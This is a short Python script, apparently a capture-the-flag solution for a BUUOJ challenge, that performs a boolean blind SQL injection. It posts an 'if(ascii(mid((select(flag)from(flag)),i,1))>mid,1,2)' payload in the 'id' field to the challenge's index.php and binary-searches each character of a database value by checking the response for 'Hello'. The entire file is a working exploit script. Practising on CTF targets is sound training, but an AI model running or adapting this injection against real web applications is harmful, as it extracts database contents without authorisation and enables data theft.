# -*- coding:utf-8 -*-
from requests import post

"""布尔盲注payload"""


def payload():
    url = "http://9f149c5d-92de-41cd-aa8c-c30bfa862683.node3.buuoj.cn/index.php"
    res = []
    for i in range(1, 50):
        l, r, mid = 32, 127, (32 + 126) // 2
        while l < r:
            py = f"if(ascii(mid((select(flag)from(flag)),{i},1))>{mid},1,2)"
            data = {"id": py}
            resp = post(url, data)
            if "Hello" in resp.text:
                l = mid + 1
            else:
                r = mid
            mid = (l + r) // 2
        res.append(chr(int(mid)))
    print("".join(res))


if __name__ == "__main__":
    payload()
